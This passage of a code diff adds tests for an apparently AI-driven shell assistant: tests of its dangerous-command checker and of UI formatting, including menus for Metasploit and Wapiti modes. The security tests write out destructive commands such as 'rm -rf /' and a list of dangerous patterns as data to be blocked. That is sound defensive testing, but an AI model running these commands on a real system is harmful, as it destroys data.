variation not detected: {cmd}" + + def test_custom_security_configuration(self): + """Test custom security configuration.""" + custom_dangerous = ["custom_dangerous", "another_bad_command"] + + with patch("ai_shell.executor.get_config") as mock_config: + mock_config.return_value.get.return_value = custom_dangerous + checker = SecurityChecker() + + assert checker.is_dangerous_command("custom_dangerous") + assert checker.is_dangerous_command("another_bad_command") + assert not checker.is_dangerous_command("safe_command") + + def test_validation_with_dangerous_command(self): + """Test command validation with dangerous commands.""" + checker = SecurityChecker() + + is_safe, message = checker.validate_command("rm -rf /") + assert not is_safe + assert message is not None + assert "dangerous" in message.lower() + + def test_validation_with_safe_command(self): + """Test command validation with safe commands.""" + checker = SecurityChecker() + + is_safe, message = checker.validate_command("ls -la") + assert is_safe + assert message is None + + def test_empty_and_invalid_commands(self): + """Test handling of empty and invalid commands.""" + checker = SecurityChecker() + + # Empty command + assert not checker.is_dangerous_command("") + assert not checker.is_dangerous_command(" ") + assert not checker.is_dangerous_command("\t\n") + + # None should not crash + assert not checker.is_dangerous_command(None) + + def test_performance_with_long_commands(self): + """Test performance with very long commands.""" + checker = SecurityChecker() + + # Very long safe command + long_safe_command = "echo " + "a" * 10000 + assert not checker.is_dangerous_command(long_safe_command) + + # Very long dangerous command + long_dangerous_command = "rm -rf / " + "a" * 10000 + assert checker.is_dangerous_command(long_dangerous_command) + + +class TestSecurityIntegration: + """Integration tests for security features.""" + + def test_security_checker_integration(self): + """Test security checker integration with executor.""" + from ai_shell.executor import CommandExecutor + + executor = CommandExecutor() + assert executor.security_checker is not None + assert hasattr(executor.security_checker, "is_dangerous_command") + assert hasattr(executor.security_checker, "validate_command") + + def test_default_dangerous_commands_list(self): + """Test that default dangerous commands are properly loaded.""" + checker = SecurityChecker() + dangerous_commands = checker.dangerous_commands + + # Should contain common dangerous patterns + expected_patterns = ["rm -rf", "format", "shutdown"] + for pattern in expected_patterns: + assert any( + pattern.lower() in cmd.lower() for cmd in dangerous_commands + ), f"Expected dangerous pattern not found: {pattern}" \ No newline at end of file diff --git a/tests/test_ui.py b/tests/test_ui.py new file mode 100644 index 0000000..76ceefb --- /dev/null +++ b/tests/test_ui.py @@ -0,0 +1,172 @@ +"""Tests for AI Shell UI module.""" + +import io +import sys +from unittest.mock import patch + +from ai_shell.ui import ( + colors, + format_error, + format_warning, + format_info, + format_success, + format_command_output, + print_banner, + print_mode_selection, + print_provider_selection, + print_local_model_selection, +) + + +class TestColorFormatting: + """Test cases for color formatting functions.""" + + def test_format_error(self): + """Test error message formatting.""" + message = "Test error" + formatted = format_error(message) + assert colors.ERROR in formatted + assert colors.RESET in formatted + assert message in formatted + + def test_format_warning(self): + """Test warning message formatting.""" + message = "Test warning" + formatted = format_warning(message) + assert colors.WARNING in formatted + assert colors.RESET in formatted + assert message in formatted + + def test_format_info(self): + """Test info message formatting.""" + message = "Test info" + formatted = format_info(message) + assert colors.INFO in formatted + assert colors.RESET in formatted + assert message in formatted + + def test_format_success(self): + """Test success message formatting.""" + message = "Test success" + formatted = format_success(message) + assert colors.SUCCESS in formatted + assert colors.RESET in formatted + assert message in formatted + + def test_format_command_output(self): + """Test command output formatting.""" + output = "command output" + formatted = format_command_output(output) + assert colors.COMMAND in formatted + assert colors.RESET in formatted + assert output in formatted + + +class TestPrintFunctions: + """Test cases for print functions.""" + + def test_print_banner(self): + """Test banner printing.""" + with patch("sys.stdout", new_callable=io.StringIO) as mock_stdout: + print_banner() + output = mock_stdout.getvalue() + assert "AI-Powered Shell Assistant" in output + assert "v0.1.0" in output + + def test_print_mode_selection(self): + """Test mode selection menu printing.""" + with patch("sys.stdout", new_callable=io.StringIO) as mock_stdout: + print_mode_selection() + output = mock_stdout.getvalue() + assert "Choose an operating mode" in output + assert "Command Translator" in output + assert "AI Assistant" in output + assert "Metasploit Assistant" in output + assert "Wapiti Assistant" in output + + def test_print_provider_selection(self): + """Test provider selection menu printing.""" + with patch("sys.stdout", new_callable=io.StringIO) as mock_stdout: + print_provider_selection() + output = mock_stdout.getvalue() + assert "Choose an LLM provider" in output + assert "Gemini" in output + assert "Local LLM" in output + + def test_print_local_model_selection(self): + """Test local model selection menu printing.""" + test_models = { + "1": {"name": "Test Model 1", "size_gb": "4"}, + "2": {"name": "Test Model 2", "size_gb": "8"}, + } + + with patch("sys.stdout", new_callable=io.StringIO) as mock_stdout: + print_local_model_selection(test_models) + output = mock_stdout.getvalue() + assert "choose a local LLM" in output + assert "Test Model 1" in output + assert "Test Model 2" in output + assert "4 GB" in output + assert "8 GB" in output + + +class TestColorConstants: + """Test cases for color constants.""" + + def test_colors_dictionary(self): + """Test that colors object contains required attributes.""" + required_colors = [ + "INFO", + "SUCCESS", + "WARNING", + "ERROR", + "RESET", + ] + + for color in required_colors: + assert hasattr(colors, color) + assert isinstance(getattr(colors, color), str) + + def test_color_codes_are_strings(self): + """Test that all color codes are strings.""" + color_attrs = [attr for attr in dir(colors) if not attr.startswith('_')] + for color_name in color_attrs: + color_code = getattr(colors, color_name) + assert isinstance(color_code, str) + assert len(color_code) > 0 + + +class TestColoramaCompatibility: + """Test cases for colorama compatibility.""" + + def test_colorama_fallback(self): + """Test that UI functions work without colorama.""" + # Test that functions don't crash when colorama is not available + # This would be tested by temporarily mocking COLORAMA_AVAILABLE = False + with patch("ai_shell.ui.COLORAMA_AVAILABLE", False): + # Re-import to get fallback behavior + import importlib + import ai_shell.ui + + importlib.reload(ai_shell.ui) + + # Test basic functionality still works + message = ai_shell.ui.format_error("test") + assert "test" in message + + def test_format_functions_with_empty_input(self): + """Test format functions with empty input.""" + assert format_error("") != "" + assert format_warning("") != "" + assert format_info("") != "" + assert format_success("") != "" + + def test_format_functions_with_special_characters(self): + """Test format functions with special characters.""" + special_text = "Test with 🎉 emojis and\nnewlines\ttabs" + + # Should not crash and should preserve the input + assert special_text in format_error(special_text) + assert special_text in format_warning(special_text) + assert special_text in format_info(special_text) + assert special_text in format_success(special_text) \ No newline at end of file